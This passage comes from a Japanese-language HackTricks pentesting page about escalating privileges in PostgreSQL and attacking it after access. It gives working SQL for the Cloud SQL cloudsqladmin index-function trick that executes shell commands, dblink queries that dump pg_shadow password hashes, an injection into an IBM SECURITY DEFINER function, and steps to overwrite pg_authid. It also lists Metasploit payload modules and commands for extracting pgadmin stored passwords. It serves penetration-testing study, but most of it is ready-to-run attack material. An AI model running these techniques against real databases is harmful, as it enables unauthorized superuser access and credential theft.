4. テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
|
||
5. テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は無許可だったシェルコマンドの実行が可能になります。
|
||
|
||
PostgreSQLでは、このフローは次のようになります:
|
||
```sql
|
||
CREATE TABLE temp_table (data text);
|
||
CREATE TABLE shell_commands_results (data text);
|
||
|
||
INSERT INTO temp_table VALUES ('dummy content');
|
||
|
||
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
||
|
||
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
||
|
||
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
||
|
||
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
||
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
||
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
||
|
||
ANALYZE public.temp_table;
|
||
```
|
||
次に、`shell_commands_results` テーブルには実行されたコードの出力が含まれます:
|
||
```
|
||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||
```
|
||
### ローカルログイン
|
||
|
||
一部の誤設定された postgresql インスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink` 関数**を使用して 127.0.0.1 からローカルにログインすることが可能です。
|
||
```sql
|
||
\du * # Get Users
|
||
\l # Get databases
|
||
SELECT * FROM dblink('host=127.0.0.1
|
||
port=5432
|
||
user=someuser
|
||
password=supersecret
|
||
dbname=somedb',
|
||
'SELECT usename,passwd from pg_shadow')
|
||
RETURNS (result TEXT);
|
||
```
|
||
{% hint style="warning" %}
|
||
注意してください、前のクエリが機能するためには**`dblink`関数が存在する必要があります**。存在しない場合は、次のコマンドで作成を試みることができます。
|
||
```sql
|
||
CREATE EXTENSION dblink;
|
||
```
|
||
{% endhint %}
|
||
|
||
もし、より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
|
||
```sql
|
||
SELECT * FROM dblink('host=127.0.0.1
|
||
user=someuser
|
||
dbname=somedb',
|
||
'SELECT usename,passwd from pg_shadow')
|
||
RETURNS (result TEXT);
|
||
```
|
||
この関数が存在するかどうかを確認するには、次のようにします:
|
||
```sql
|
||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||
```
|
||
### **カスタム定義関数と** SECURITY DEFINER
|
||
|
||
[**このレポートで**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らは**SECURITY DEFINERフラグを持つこの関数を見つけたからです**:
|
||
|
||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||
RETURNS text
|
||
LANGUAGE 'plpgsql'
|
||
<strong> VOLATILE SECURITY DEFINER
|
||
</strong> PARALLEL UNSAFE
|
||
COST 100
|
||
|
||
AS $BODY$
|
||
DECLARE
|
||
persist_dblink_extension boolean;
|
||
BEGIN
|
||
persist_dblink_extension := create_dblink_extension();
|
||
PERFORM dblink_connect(format('dbname=%s', db_name));
|
||
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
||
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
||
PERFORM dblink_disconnect();
|
||
…
|
||
</code></pre>
|
||
|
||
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERを持つ関数は**その**所有者の権限で実行されます**。したがって、関数が**SQLインジェクションに対して脆弱である**か、**攻撃者によって制御されるパラメータで特権的なアクションを行っている**場合、それを悪用して**Postgres内で権限を昇格させる**ことができます。
|
||
|
||
前のコードの4行目で、関数が**SECURITY DEFINER**フラグを持っていることがわかります。
|
||
```sql
|
||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||
```
|
||
そして、**コマンドを実行**します:
|
||
|
||
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### PL/pgSQLによるパスブルートフォース
|
||
|
||
**PL/pgSQL**は、SQLに比べてより高度な手続き制御を提供する**完全なプログラミング言語**です。これにより、プログラムロジックを強化するために**ループ**やその他の**制御構造**を使用できます。さらに、**SQL文**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多用途なアプローチが可能になります。\
|
||
**この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。**
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 内部PostgreSQLテーブルの上書きによる特権昇格
|
||
|
||
{% hint style="info" %}
|
||
以下の特権昇格ベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に有用です。
|
||
{% endhint %}
|
||
|
||
PostgreSQLサーバーファイルを**読み書き**できる場合、内部の`pg_authid`テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、**スーパーユーザー**になることができます。
|
||
|
||
**この技術**についての詳細は[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**を参照してください。**
|
||
|
||
攻撃手順は次のとおりです:
|
||
|
||
1. PostgreSQLデータディレクトリを取得する
|
||
2. `pg_authid`テーブルに関連付けられたファイルノードへの相対パスを取得する
|
||
3. `lo_*`関数を通じてファイルノードをダウンロードする
|
||
4. `pg_authid`テーブルに関連付けられたデータ型を取得する
|
||
5. [PostgreSQLファイルノードエディタ](https://github.com/adeadfed/postgresql-filenode-editor)を使用して[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与します。
|
||
6. 編集したファイルノードを`lo_*`関数を介して再アップロードし、ディスク上の元のファイルを上書きします
|
||
7. _(オプション)_ 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
|
||
8. これで、フルスーパーマネージャーの権限を持つことになります。
|
||
|
||
## **POST**
|
||
```
|
||
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
||
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
||
msf> use auxiliary/admin/postgres/postgres_readfile
|
||
msf> use exploit/linux/postgres/postgres_payload
|
||
msf> use exploit/windows/postgres/postgres_payload
|
||
```
|
||
### logging
|
||
|
||
_**postgresql.conf**_ ファイル内で、次のように変更することで postgresql ログを有効にできます:
|
||
```bash
|
||
log_statement = 'all'
|
||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||
logging_collector = on
|
||
sudo service postgresql restart
|
||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||
```
|
||
その後、**サービスを再起動**します。
|
||
|
||
### pgadmin
|
||
|
||
[pgadmin](https://www.pgadmin.org) はPostgreSQLの管理および開発プラットフォームです。\
|
||
_**pgadmin4.db**_ ファイル内に**パスワード**が見つかります。\
|
||
スクリプト内の _**decrypt**_ 関数を使用してそれらを復号化できます: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||
```bash
|
||
sqlite3 pgadmin4.db ".schema"
|
||
sqlite3 pgadmin4.db "select * from user;"
|
||
sqlite3 pgadmin4.db "select * from server;"
|
||
string pgadmin4.db
|
||
```
|
||
### pg\_hba
|
||
|
||
PostgreSQLにおけるクライアント認証は、**pg\_hba.conf**という設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
|
||
|
||
pg\_hba.confで利用可能なパスワードベースの認証方法は、**md5**、**crypt**、および**password**です。これらの方法は、パスワードがどのように送信されるかにおいて異なります:MD5ハッシュ化、crypt暗号化、または平文です。cryptメソッドは、pg\_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|